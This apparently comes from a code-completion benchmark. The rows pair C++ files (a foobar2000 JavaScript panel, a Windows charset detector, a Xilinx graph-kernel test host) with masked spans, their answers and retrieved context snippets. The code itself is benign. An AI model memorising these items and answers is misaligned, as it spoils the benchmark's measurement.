#include <stdafx.h> #include "js_panel_window_dui.h" #include <com_objects/drop_target_impl.h> #include <events/event_dispatcher.h> #include <events/event_js_callback.h> #include <utils/colour_helpers.h> namespace { template <typename TImpl> class my_ui_element_impl : public ui_element { public: GUID get_guid() override { return TImpl::g_get_guid(); } GUID get_subclass() override { return TImpl::g_get_subclass(); } void get_name( pfc::string_base& out ) override { TImpl::g_get_name( out ); } ui_element_instance::ptr instantiate( HWND parent, ui_element_config::ptr cfg, ui_element_instance_callback::ptr callback ) override { PFC_ASSERT( cfg->get_guid() == get_guid() ); service_nnptr_t<ui_element_instance_impl_helper> item = fb2k::service_new<ui_element_instance_impl_helper>( cfg, callback ); item->initialize_window( parent ); return item; } ui_element_config::ptr get_default_configuration() override { return TImpl::g_get_default_configuration(); } ui_element_children_enumerator_ptr enumerate_children( ui_element_config::ptr ) override { return nullptr; } bool get_description( pfc::string_base& out ) override { out = TImpl::g_get_description(); return true; } private: class ui_element_instance_impl_helper : public TImpl { public: ui_element_instance_impl_helper( ui_element_config::ptr cfg, ui_element_instance_callback::ptr callback ) : TImpl( cfg, callback ) { } }; }; service_factory_t<my_ui_element_impl<smp::panel::js_panel_window_dui>> g_js_panel_window_dui; } namespace smp::panel {
js_panel_window_dui::~js_panel_window_dui() { t_parent::destroy(); } GUID js_panel_window_dui::g_get_guid() { return smp::guid::window_dui; } GUID js_panel_window_dui::g_get_subclass() { return ui_element_subclass_utility; } pfc::string8 js_panel_window_dui::g_get_description() { return "Customizable panel with JavaScript support."; } ui_element_config::ptr js_panel_window_dui::g_get_default_configuration() { ui_element_config_builder builder; config::PanelSettings::SaveDefault( builder.m_stream, fb2k::noAbort ); return builder.finish( g_get_guid() ); } void js_panel_window_dui::g_get_name( pfc::string_base& out ) { out = SMP_NAME; } GUID js_panel_window_dui::get_guid() { return g_get_guid(); } GUID js_panel_window_dui::get_subclass() { return g_get_subclass(); } DWORD js_panel_window_dui::GetColour( unsigned type, const GUID& guid ) { const auto& guidToQuery = [type, &guid] { const std::array<const GUID*, 4> guids = { &ui_color_text, &ui_color_background, &ui_color_highlight, &ui_color_selection, }; if ( guid != pfc::guid_null ) { return guid; } else if ( type < guids.size() ) { return *guids[type]; } else { return pfc::guid_null; } }(); t_ui_color colour = 0; if ( guidToQuery != pfc::guid_null ) { colour = uiCallback_->query_std_color( guidToQuery ); } return smp::colour::ColorrefToArgb( colour ); } HFONT js_panel_window_dui::GetFont( unsigned type, const GUID& guid ) { const auto& guidToQuery = [type, &guid] { const std::array<const GUID*, 6> guids = { &ui_font_default, &ui_font_tabs, &ui_font_lists, &ui_font_playlists, &ui_font_statusbar, &ui_font_console, }; if ( guid != pfc::guid_null ) { return guid; } else if ( type < guids.size() ) { return *guids[type]; } else { return pfc::guid_null; } }(); return ( guidToQuery != pfc::guid_null ? uiCallback_->query_font_ex( guidToQuery ) : nullptr ); } HWND js_panel_window_dui::get_wnd() { return t_parent::get_wnd(); } LRESULT js_panel_window_dui::on_message( HWND hwnd, UINT msg, WPARAM wp, LPARAM lp ) { switch ( msg ) { case WM_RBUTTONUP: case WM_RBUTTONDOWN: case WM_RBUTTONDBLCLK: case WM_CONTEXTMENU: { if ( isEditMode_ ) { return DefWindowProc( hwnd, msg, wp, lp ); } break; } case static_cast<UINT>( smp::MiscMessage::size_limit_changed ): { notify_size_limit_changed( wp ); return 0; } default: break; } return t_parent::on_message( hwnd, msg, wp, lp ); } bool js_panel_window_dui::edit_mode_context_menu_get_description( unsigned, unsigned, pfc::string_base& ) { return false; } bool js_panel_window_dui::edit_mode_context_menu_test( const POINT&, bool ) { return true; } ui_element_config::ptr js_panel_window_dui::get_configuration() { ui_element_config_builder builder; SaveSettings( builder.m_stream, fb2k::noAbort ); return builder.finish( g_get_guid() ); } void js_panel_window_dui::edit_mode_context_menu_build( const POINT& p_point, bool, HMENU p_menu, unsigned p_id_base ) { GenerateContextMenu( p_menu, p_point.x, p_point.y, p_id_base ); } void js_panel_window_dui::edit_mode_context_menu_command( const POINT&, bool, unsigned p_id, unsigned p_id_base ) { ExecuteContextMenu( p_id, p_id_base ); } void js_panel_window_dui::notify( const GUID& p_what, t_size, const void*, t_size ) { if ( p_what == ui_element_notify_edit_mode_changed ) { notify_is_edit_mode_changed( uiCallback_->is_edit_mode_enabled() ); } else if ( p_what == ui_element_notify_font_changed ) { EventDispatcher::Get().PutEvent( t_parent::GetHWND(), GenerateEvent_JsCallback( EventId::kUiFontChanged ) ); } else if ( p_what == ui_element_notify_colors_changed ) { EventDispatcher::Get().PutEvent( t_parent::GetHWND(), GenerateEvent_JsCallback( EventId::kUiColoursChanged ) ); } } void js_panel_window_dui::set_configuration( ui_element_config::ptr data ) { ui_element_config_parser parser( data ); LoadSettings( parser.m_stream, parser.get_remaining(), fb2k::noAbort, !!t_parent::GetHWND() ); } void js_panel_window_dui::initialize_window( HWND parent ) { create( parent ); } void js_panel_window_dui::notify_size_limit_changed( LPARAM ) { uiCallback_->on_min_max_info_change(); } void js_panel_window_dui::notify_is_edit_mode_changed( bool enabled ) { isEditMode_ = enabled; } }
js_panel_window_dui::js_panel_window_dui( ui_element_config::ptr cfg, ui_element_instance_callback::ptr callback ) : js_panel_window( PanelType::DUI ) , uiCallback_( callback ) , isEditMode_( callback->is_edit_mode_enabled() ) { set_configuration( cfg ); }
function_block-full_function
[ { "content": "class CPropertyEditItem : public CPropertyItem\n\n{\n\nprotected:\n\n\tHWND m_hwndEdit;\n\n\n\npublic:\n\n\tCPropertyEditItem(LPCTSTR pstrName, LPARAM lParam) :\n\n\t\tCPropertyItem(pstrName, lParam),\n\n\t\tm_hwndEdit(NULL)\n\n\t{\n\n\t}\n\n\tCPropertyEditItem(LPCTSTR pstrName, CComVariant vValue...
C++
src/win_imulti_language_charset_detector.cpp
fougue/cassolette
0aa8449f5a675f7ce3c897318c4872ed104e2835
#include "win_imulti_language_charset_detector.h" #ifdef Q_OS_WIN # include <comdef.h> # include <mlang.h> # include <Shlwapi.h> # include <windows.h> #endif #include <QtCore/QtDebug> #include <algorithm> #include <fougtools/cpptools/c_array_utils.h> #include <fougtools/cpptools/memory_utils.h> namespace Internal { static bool confidenceLessThan(const DetectEncodingInfo& lhs, const DetectEncodingInfo& rhs) { return lhs.nConfidence < rhs.nConfidence; } static QString hresultToQString(HRESULT hres) { _com_error err(hres); #ifdef UNICODE return QString::fromWCharArray(err.ErrorMessage()); #else return QString::fromLatin1(err.ErrorMessage()); #endif } static AbstractCharsetDetector::Error toDetectionError(HRESULT error) { return AbstractCharsetDetector::Error(static_cast<int64_t>(error), hresultToQString(error)); } } WinIMultiLanguageCharsetDetector::WinIMultiLanguageCharsetDetector() : m_multiLang(nullptr) { #ifdef Q_OS_WIN CoInitialize(nullptr); const HRESULT createInstError = CoCreateInstance( CLSID_CMultiLanguage, nullptr, CLSCTX_INPROC_SERVER, IID_IMultiLanguage2, reinterpret_cast<void**>(&m_multiLang)); m_constructError = Internal::toDetectionError(createInstError); #endif } WinIMultiLanguageCharsetDetector::~WinIMultiLanguageCharsetDetector() { if (m_multiLang != nullptr) m_multiLang->Release(); CoUninitialize(); } QByteArray WinIMultiLanguageCharsetDetector::detectedEncodingName() const { return m_detectedEncodingName; } void WinIMultiLanguageCharsetDetector::init() { m_detectedEncodingName.clear(); } bool WinIMultiLanguageCharsetDetector::handleData(const QByteArray &buffer, Error *error) { #ifdef Q_OS_WIN if (m_multiLang != nullptr) { IStream* streamBuffer = SHCreateMemStream( reinterpret_cast<const BYTE*>(buffer.constData()), buffer.size()); if (streamBuffer != nullptr) { DetectEncodingInfo encodingInfoArray[8]; int encodingInfoCount = static_cast<int>(cpp::cArraySize(encodingInfoArray)); const HRESULT detectError = m_multiLang->DetectCodepageInIStream( MLDETECTCP_NONE, 0, streamBuffer, encodingInfoArray, &encodingInfoCount); cpp::checkedAssign(error, Internal::toDetectionError(detectError)); streamBuffer->Release(); if (detectError == S_OK) { const auto encodingInfoArrayEnd = encodingInfoArray + encodingInfoCount; auto iBestEncInfo = std::max_element( encodingInfoArray, encodingInfoArrayEnd, &Internal::confidenceLessThan); if (iBestEncInfo != encodingInfoArrayEnd) { MIMECPINFO cpInfo; const HRESULT getCpInfoError = m_multiLang->GetCodePageInfo( (*iBestEncInfo).nCodePage, (*iBestEncInfo).nLangID, &cpInfo); cpp::checkedAssign( error, Internal::toDetectionError(getCpInfoError)); if (getCpInfoError == S_OK) { m_detectedEncodingName = QString::fromWCharArray(cpInfo.wszWebCharset).toUtf8(); return true; } } } } } else { cpp::checkedAssign(error, m_constructError); } #endif return false; } void WinIMultiLanguageCharsetDetector::dataEnd() { }
#include "win_imulti_language_charset_detector.h" #ifdef Q_OS_WIN # include <comdef.h> # include <mlang.h> # include <Shlwapi.h> # include <windows.h> #endif #include <QtCore/QtDebug> #include <algorithm> #include <fougtools/cpptools/c_array_utils.h> #include <fougtools/cpptools/memory_utils.h> namespace Internal { static bool confidenceLessThan(const DetectEncodingInfo& lhs, const DetectEncodingInfo& rhs) { return lhs.nConfidence < rhs.nConfidence; } static QString hresultToQString(HRESULT hres) { _com_error err(hres); #ifdef UNICODE return QString::fromWCharArray(err.ErrorMessage()); #else return QString::fromLatin1(err.ErrorMessage()); #endif } static AbstractCharsetDetector::Error toDetectionError(HRESULT error) { return AbstractCharsetDetector::Error(static_cast<int64_t>(error), hresultToQString(error)); } } WinIMultiLanguageCharsetDetector::WinIMultiLanguageCharsetDetector() : m_multiLang(nullptr) { #ifdef Q_OS_WIN CoInitialize(nullptr); const HRESULT createInstError = CoCreateInstance( CLSID_CMultiLanguage, nullptr, CLSCTX_INPROC_SERVER, IID_IMultiLanguage2, reinterpret_cast<void**>(&m_multiLang)); m_constructError = Internal::toDetectionError(createInstError); #endif } WinIMultiLanguageCharsetDetector::~WinIMultiLanguageCharsetDetector() { if (m_multiLang != nullptr) m_multiLang->Release(); CoUninitialize(); } QByteArray WinIMultiLanguageCharsetDetector::detectedEncodingName() const { return m_detectedEncodingName; } void WinIMultiLanguageCharsetDetector::init() { m_detectedEncodingName.clear(); } bool WinIMultiLanguageCharsetDetector::handleData(const QByteArray &buffer, Error *error) { #ifdef Q_OS_WIN if (m_multiLang != nullptr) {
if (streamBuffer != nullptr) { DetectEncodingInfo encodingInfoArray[8]; int encodingInfoCount = static_cast<int>(cpp::cArraySize(encodingInfoArray)); const HRESULT detectError = m_multiLang->DetectCodepageInIStream( MLDETECTCP_NONE, 0, streamBuffer, encodingInfoArray, &encodingInfoCount); cpp::checkedAssign(error, Internal::toDetectionError(detectError)); streamBuffer->Release(); if (detectError == S_OK) { const auto encodingInfoArrayEnd = encodingInfoArray + encodingInfoCount; auto iBestEncInfo = std::max_element( encodingInfoArray, encodingInfoArrayEnd, &Internal::confidenceLessThan); if (iBestEncInfo != encodingInfoArrayEnd) { MIMECPINFO cpInfo; const HRESULT getCpInfoError = m_multiLang->GetCodePageInfo( (*iBestEncInfo).nCodePage, (*iBestEncInfo).nLangID, &cpInfo); cpp::checkedAssign( error, Internal::toDetectionError(getCpInfoError)); if (getCpInfoError == S_OK) { m_detectedEncodingName = QString::fromWCharArray(cpInfo.wszWebCharset).toUtf8(); return true; } } } } } else { cpp::checkedAssign(error, m_constructError); } #endif return false; } void WinIMultiLanguageCharsetDetector::dataEnd() { }
IStream* streamBuffer = SHCreateMemStream( reinterpret_cast<const BYTE*>(buffer.constData()), buffer.size());
assignment_statement
[ { "content": "#define NS_ERROR_OUT_OF_MEMORY ((nsresult) 0x8007000eL)\n", "file_path": "src/3rdparty/ucsd/nscore.h", "rank": 0, "score": 38209.72825344905 }, { "content": " return m_detectedEncodingName;\n\n}\n\n\n\nvoid MozillaUniversalCharsetDetector::init()\n\n{\n\n this->Reset();\n...
C++
graph/L2/tests/strongly_connected_component/host/main.cpp
vmayoral/Vitis_Libraries
2323dc5036041e18242718287aee4ce66ba071ef
#ifndef HLS_TEST #include "xcl2.hpp" #endif #include "ap_int.h" #include "scc_kernel.hpp" #include "utils.hpp" #include <cstring> #include <fstream> #include <iostream> #include <sys/time.h> #include <vector> #include <unordered_map> #include "xf_utils_sw/logger.hpp" #define XCL_BANK(n) (((unsigned int)(n)) | XCL_MEM_TOPOLOGY) #define XCL_BANK0 XCL_BANK(0) #define XCL_BANK1 XCL_BANK(1) #define XCL_BANK2 XCL_BANK(2) #define XCL_BANK3 XCL_BANK(3) #define XCL_BANK4 XCL_BANK(4) #define XCL_BANK5 XCL_BANK(5) #define XCL_BANK6 XCL_BANK(6) #define XCL_BANK7 XCL_BANK(7) #define XCL_BANK8 XCL_BANK(8) #define XCL_BANK9 XCL_BANK(9) #define XCL_BANK10 XCL_BANK(10) #define XCL_BANK11 XCL_BANK(11) #define XCL_BANK12 XCL_BANK(12) #define XCL_BANK13 XCL_BANK(13) #define XCL_BANK14 XCL_BANK(14) #define XCL_BANK15 XCL_BANK(15) class ArgParser { public: ArgParser(int& argc, const char** argv) { for (int i = 1; i < argc; ++i) mTokens.push_back(std::string(argv[i])); } bool getCmdOption(const std::string option, std::string& value) const { std::vector<std::string>::const_iterator itr; itr = std::find(this->mTokens.begin(), this->mTokens.end(), option); if (itr != this->mTokens.end() && ++itr != this->mTokens.end()) { value = *itr; return true; } return false; } private: std::vector<std::string> mTokens; }; int main(int argc, const char* argv[]) { std::cout << "\n---------------------SCC Test----------------\n"; ArgParser parser(argc, argv); std::string xclbin_path; #ifndef HLS_TEST if (!parser.getCmdOption("-xclbin", xclbin_path)) { std::cout << "ERROR:xclbin path is not set!\n"; return 1; } #endif std::string offsetfile; std::string columnfile; std::string goldenfile; #ifndef HLS_TEST if (!parser.getCmdOption("-o", offsetfile)) { std::cout << "ERROR: offsetfile is not set!\n"; return -1; } if (!parser.getCmdOption("-c", columnfile)) { std::cout << "ERROR: columnfile is not set!\n"; return -1; } if (!parser.getCmdOption("-g", goldenfile)) { std::cout << "ERROR: goldenfile is not set!\n"; return -1; } #else offsetfile = "./data/test_offset.csr"; columnfile = "./data/test_column.csr"; goldenfile = "./data/test_golden.mtx"; #endif char line[1024] = {0}; int index = 0; int numVertices; int numEdges; std::fstream offsetfstream(offsetfile.c_str(), std::ios::in); if (!offsetfstream) { std::cout << "Error : " << offsetfile << " file doesn't exist !" << std::endl; exit(1); } offsetfstream.getline(line, sizeof(line)); std::stringstream numOdata(line); numOdata >> numVertices; ap_uint<32>* offset32G1 = aligned_alloc<ap_uint<32> >(numVertices + 1); while (offsetfstream.getline(line, sizeof(line))) { std::stringstream data(line); data >> offset32G1[index]; index++; } std::fstream columnfstream(columnfile.c_str(), std::ios::in); if (!columnfstream) { std::cout << "Error : " << columnfile << " file doesn't exist !" << std::endl; exit(1); } index = 0; columnfstream.getline(line, sizeof(line)); std::stringstream numCdata(line); numCdata >> numEdges; ap_uint<32>* column32G1 = aligned_alloc<ap_uint<32> >(numEdges); while (columnfstream.getline(line, sizeof(line))) { std::stringstream data(line); data >> column32G1[index]; index++; } ap_uint<32>* offset32G2 = aligned_alloc<ap_uint<32> >(numVertices + 1); ap_uint<32>* column32G2 = aligned_alloc<ap_uint<32> >(numEdges); ap_uint<32>* offset32Tmp1G2 = aligned_alloc<ap_uint<32> >(numVertices + 1); ap_uint<32>* offset32Tmp2G2 = aligned_alloc<ap_uint<32> >(numVertices + 1); ap_uint<32>* colorMap32 = aligned_alloc<ap_uint<32> >(numVertices); ap_uint<32>* queueG1 = aligned_alloc<ap_uint<32> >(numVertices); ap_uint<32>* queueG2 = aligned_alloc<ap_uint<32> >(numVertices); ap_uint<32>* result = aligned_alloc<ap_uint<32> >(numVertices); #ifndef HLS_TEST struct timeval start_time, end_time; xf::common::utils_sw::Logger logger(std::cout, std::cerr); std::vector<cl::Device> devices = xcl::get_xil_devices(); cl::Device device = devices[0]; cl_int err; cl::Context context(device, NULL, NULL, NULL, &err); logger.logCreateContext(err); cl::CommandQueue q(context, device, CL_QUEUE_PROFILING_ENABLE | CL_QUEUE_OUT_OF_ORDER_EXEC_MODE_ENABLE, &err); logger.logCreateCommandQueue(err); std::string devName = device.getInfo<CL_DEVICE_NAME>(); printf("Found Device=%s\n", devName.c_str()); cl::Program::Binaries xclBins = xcl::import_binary_file(xclbin_path); devices.resize(1); cl::Program program(context, devices, xclBins, NULL, &err); logger.logCreateProgram(err); cl::Kernel scc(program, "scc_kernel", &err); logger.logCreateKernel(err); std::cout << "kernel has been created" << std::endl; cl_mem_ext_ptr_t mext_o[10]; mext_o[0] = {2, column32G1, scc()}; mext_o[1] = {3, offset32G1, scc()}; mext_o[2] = {5, column32G2, scc()}; mext_o[3] = {6, offset32G2, scc()}; mext_o[4] = {9, offset32Tmp1G2, scc()}; mext_o[5] = {10, offset32Tmp2G2, scc()}; mext_o[6] = {12, colorMap32, scc()}; mext_o[7] = {13, queueG1, scc()}; mext_o[8] = {16, queueG2, scc()}; mext_o[9] = {18, result, scc()}; cl::Buffer columnG1_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * numEdges, &mext_o[0]); cl::Buffer offsetG1_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * (numVertices + 1), &mext_o[1]); cl::Buffer columnG2_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * numEdges, &mext_o[2]); cl::Buffer offsetG2_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * (numVertices + 1), &mext_o[3]); cl::Buffer offset32Tmp1G2_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * (numVertices + 1), &mext_o[4]); cl::Buffer offset32Tmp2G2_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * (numVertices + 1), &mext_o[5]); cl::Buffer colorMap32_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * numVertices, &mext_o[6]); cl::Buffer queueG1_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * numVertices, &mext_o[7]); cl::Buffer queueG2_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * numVertices, &mext_o[8]); cl::Buffer result_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * numVertices, &mext_o[9]); std::vector<cl::Event> events_write(1); std::vector<cl::Event> events_kernel(1); std::vector<cl::Event> events_read(1); std::vector<cl::Memory> ob_in; ob_in.push_back(columnG1_buf); ob_in.push_back(offsetG1_buf); std::vector<cl::Memory> ob_out; ob_out.push_back(result_buf); q.enqueueMigrateMemObjects(ob_in, 0, nullptr, &events_write[0]); std::cout << "kernel start------" << std::endl; std::cout << "Input: numVertex=" << numVertices << ", numEdges=" << numEdges << std::endl; gettimeofday(&start_time, 0); int j = 0; scc.setArg(j++, numEdges); scc.setArg(j++, numVertices); scc.setArg(j++, columnG1_buf); scc.setArg(j++, offsetG1_buf); scc.setArg(j++, columnG2_buf); scc.setArg(j++, columnG2_buf); scc.setArg(j++, offsetG2_buf); scc.setArg(j++, columnG1_buf); scc.setArg(j++, offsetG1_buf); scc.setArg(j++, offset32Tmp1G2_buf); scc.setArg(j++, offset32Tmp2G2_buf); scc.setArg(j++, colorMap32_buf); scc.setArg(j++, colorMap32_buf); scc.setArg(j++, queueG1_buf); scc.setArg(j++, colorMap32_buf); scc.setArg(j++, colorMap32_buf); scc.setArg(j++, queueG2_buf); scc.setArg(j++, queueG1_buf); scc.setArg(j++, result_buf); q.enqueueTask(scc, &events_write, &events_kernel[0]); q.enqueueMigrateMemObjects(ob_out, 1, &events_kernel, &events_read[0]); q.finish(); gettimeofday(&end_time, 0); std::cout << "kernel end------" << std::endl; std::cout << "Execution time " << tvdiff(&start_time, &end_time) / 1000.0 << "ms" << std::endl; cl_ulong ts, te; events_write[0].getProfilingInfo(CL_PROFILING_COMMAND_START, &ts); events_write[0].getProfilingInfo(CL_PROFILING_COMMAND_END, &te); float elapsed = ((float)te - (float)ts) / 1000000.0; logger.info(xf::common::utils_sw::Logger::Message::TIME_H2D_MS, elapsed); events_kernel[0].getProfilingInfo(CL_PROFILING_COMMAND_START, &ts); events_kernel[0].getProfilingInfo(CL_PROFILING_COMMAND_END, &te); elapsed = ((float)te - (float)ts) / 1000000.0; logger.info(xf::common::utils_sw::Logger::Message::TIME_KERNEL_MS, elapsed); events_read[0].getProfilingInfo(CL_PROFILING_COMMAND_START, &ts); events_read[0].getProfilingInfo(CL_PROFILING_COMMAND_END, &te); elapsed = ((float)te - (float)ts) / 1000000.0; logger.info(xf::common::utils_sw::Logger::Message::TIME_D2H_MS, elapsed); #else scc_kernel(numEdges, numVertices, (ap_uint<512>*)column32G1, (ap_uint<512>*)offset32G1, (ap_uint<512>*)column32G2, column32G2, (ap_uint<512>*)offset32G2, (ap_uint<512>*)column32G1, (ap_uint<512>*)offset32G1, (ap_uint<512>*)offset32Tmp1G2, (ap_uint<512>*)offset32Tmp2G2, (ap_uint<512>*)colorMap32, colorMap32, queueG1, (ap_uint<512>*)colorMap32, colorMap32, queueG2, queueG1, result); #endif std::cout << "============================================================" << std::endl; std::unordered_map<int, int> map; for (int i = 0; i < numVertices; i++) { map[result[i].to_int()] = 1; } std::cout << "HW components:" << map.size() << std::endl; std::vector<int> gold_result(numVertices, -1); std::fstream goldenfstream(goldenfile.c_str(), std::ios::in); if (!goldenfstream) { std::cout << "Error : " << goldenfile << " file doesn't exist !" << std::endl; exit(1); } index = 0; while (goldenfstream.getline(line, sizeof(line))) { std::stringstream data(line); std::string tmp[2]; int tmpi[2]; data >> tmp[0]; data >> tmp[1]; tmpi[0] = std::stoi(tmp[0]); if (index > 0) { tmpi[1] = std::stoi(tmp[1]); gold_result[tmpi[0] - 1] = tmpi[1]; } else std::cout << "The number of components:" << tmpi[0] << std::endl; index++; } if (index - 1 != numVertices) { std::cout << "Warning : Some nodes are missing in the golden file, validation will skip them." << std::endl; } int errs = 0; for (int i = 0; i < numVertices; i++) { if (gold_result[i] != -1 && result[i].to_int() != gold_result[i]) { std::cout << "Mismatch-" << i << ":\tsw: " << gold_result[i] << " -> " << "hw: " << result[i] << std::endl; errs++; } } errs ? logger.error(xf::common::utils_sw::Logger::Message::TEST_FAIL) : logger.info(xf::common::utils_sw::Logger::Message::TEST_PASS); return errs; }
#ifndef HLS_TEST #include "xcl2.hpp" #endif #include "ap_int.h" #include "scc_kernel.hpp" #include "utils.hpp" #include <cstring> #include <fstream> #include <iostream> #include <sys/time.h> #include <vector> #include <unordered_map> #include "xf_utils_sw/logger.hpp" #define XCL_BANK(n) (((unsigned int)(n)) | XCL_MEM_TOPOLOGY) #define XCL_BANK0 XCL_BANK(0) #define XCL_BANK1 XCL_BANK(1) #define XCL_BANK2 XCL_BANK(2) #define XCL_BANK3 XCL_BANK(3) #define XCL_BANK4 XCL_BANK(4) #define XCL_BANK5 XCL_BANK(5) #define XCL_BANK6 XCL_BANK(6) #define XCL_BANK7 XCL_BANK(7) #define XCL_BANK8 XCL_BANK(8) #define XCL_BANK9 XCL_BANK(9) #define XCL_BANK10 XCL_BANK(10) #define XCL_BANK11 XCL_BANK(11) #define XCL_BANK12 XCL_BANK(12) #define XCL_BANK13 XCL_BANK(13) #define XCL_BANK14 XCL_BANK(14) #define XCL_BANK15 XCL_BANK(15) class ArgParser { public: ArgParser(int& argc, const char** argv) { for (int i = 1; i < argc; ++i) mTokens.push_back(std::string(argv[i])); } bool getCmdOption(const std::string option, std::string& value) const { std::vector<std::string>::const_iterator itr; itr = std::find(this->mTokens.begin(), this->mTokens.end(), option); if (itr != this->mTokens.end() && ++itr != this->mTokens.end()) { value = *itr; return true; } return false; } private: std::vector<std::string> mTokens; }; int main(int argc, const char* argv[]) { std::cout << "\n---------------------SCC Test----------------\n"; ArgParser parser(argc, argv); std::string xclbin_path; #ifndef HLS_TEST if (!parser.getCmdOption("-xclbin", xclbin_path)) { std::cout << "ERROR:xclbin path is not set!\n"; return 1; } #endif std::string offsetfile; std::string columnfile; std::string goldenfile; #ifndef HLS_TEST if (!parser.getCmdOption("-o", offsetfile)) { std::cout << "ERROR: offsetfile is not set!\n"; return -1; } if (!parser.getCmdOption("-c", columnfile)) { std::cout << "ERROR: columnfile is not set!\n"; return -1; }
#else offsetfile = "./data/test_offset.csr"; columnfile = "./data/test_column.csr"; goldenfile = "./data/test_golden.mtx"; #endif char line[1024] = {0}; int index = 0; int numVertices; int numEdges; std::fstream offsetfstream(offsetfile.c_str(), std::ios::in); if (!offsetfstream) { std::cout << "Error : " << offsetfile << " file doesn't exist !" << std::endl; exit(1); } offsetfstream.getline(line, sizeof(line)); std::stringstream numOdata(line); numOdata >> numVertices; ap_uint<32>* offset32G1 = aligned_alloc<ap_uint<32> >(numVertices + 1); while (offsetfstream.getline(line, sizeof(line))) { std::stringstream data(line); data >> offset32G1[index]; index++; } std::fstream columnfstream(columnfile.c_str(), std::ios::in); if (!columnfstream) { std::cout << "Error : " << columnfile << " file doesn't exist !" << std::endl; exit(1); } index = 0; columnfstream.getline(line, sizeof(line)); std::stringstream numCdata(line); numCdata >> numEdges; ap_uint<32>* column32G1 = aligned_alloc<ap_uint<32> >(numEdges); while (columnfstream.getline(line, sizeof(line))) { std::stringstream data(line); data >> column32G1[index]; index++; } ap_uint<32>* offset32G2 = aligned_alloc<ap_uint<32> >(numVertices + 1); ap_uint<32>* column32G2 = aligned_alloc<ap_uint<32> >(numEdges); ap_uint<32>* offset32Tmp1G2 = aligned_alloc<ap_uint<32> >(numVertices + 1); ap_uint<32>* offset32Tmp2G2 = aligned_alloc<ap_uint<32> >(numVertices + 1); ap_uint<32>* colorMap32 = aligned_alloc<ap_uint<32> >(numVertices); ap_uint<32>* queueG1 = aligned_alloc<ap_uint<32> >(numVertices); ap_uint<32>* queueG2 = aligned_alloc<ap_uint<32> >(numVertices); ap_uint<32>* result = aligned_alloc<ap_uint<32> >(numVertices); #ifndef HLS_TEST struct timeval start_time, end_time; xf::common::utils_sw::Logger logger(std::cout, std::cerr); std::vector<cl::Device> devices = xcl::get_xil_devices(); cl::Device device = devices[0]; cl_int err; cl::Context context(device, NULL, NULL, NULL, &err); logger.logCreateContext(err); cl::CommandQueue q(context, device, CL_QUEUE_PROFILING_ENABLE | CL_QUEUE_OUT_OF_ORDER_EXEC_MODE_ENABLE, &err); logger.logCreateCommandQueue(err); std::string devName = device.getInfo<CL_DEVICE_NAME>(); printf("Found Device=%s\n", devName.c_str()); cl::Program::Binaries xclBins = xcl::import_binary_file(xclbin_path); devices.resize(1); cl::Program program(context, devices, xclBins, NULL, &err); logger.logCreateProgram(err); cl::Kernel scc(program, "scc_kernel", &err); logger.logCreateKernel(err); std::cout << "kernel has been created" << std::endl; cl_mem_ext_ptr_t mext_o[10]; mext_o[0] = {2, column32G1, scc()}; mext_o[1] = {3, offset32G1, scc()}; mext_o[2] = {5, column32G2, scc()}; mext_o[3] = {6, offset32G2, scc()}; mext_o[4] = {9, offset32Tmp1G2, scc()}; mext_o[5] = {10, offset32Tmp2G2, scc()}; mext_o[6] = {12, colorMap32, scc()}; mext_o[7] = {13, queueG1, scc()}; mext_o[8] = {16, queueG2, scc()}; mext_o[9] = {18, result, scc()}; cl::Buffer columnG1_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * numEdges, &mext_o[0]); cl::Buffer offsetG1_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * (numVertices + 1), &mext_o[1]); cl::Buffer columnG2_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * numEdges, &mext_o[2]); cl::Buffer offsetG2_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * (numVertices + 1), &mext_o[3]); cl::Buffer offset32Tmp1G2_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * (numVertices + 1), &mext_o[4]); cl::Buffer offset32Tmp2G2_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * (numVertices + 1), &mext_o[5]); cl::Buffer colorMap32_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * numVertices, &mext_o[6]); cl::Buffer queueG1_buf = cl::Buffer(context, CL_MEM_EXT_PTR_XILINX | CL_MEM_USE_HOST_PTR | CL_MEM_READ_WRITE, sizeof(ap_uint<32>) * numVertices, 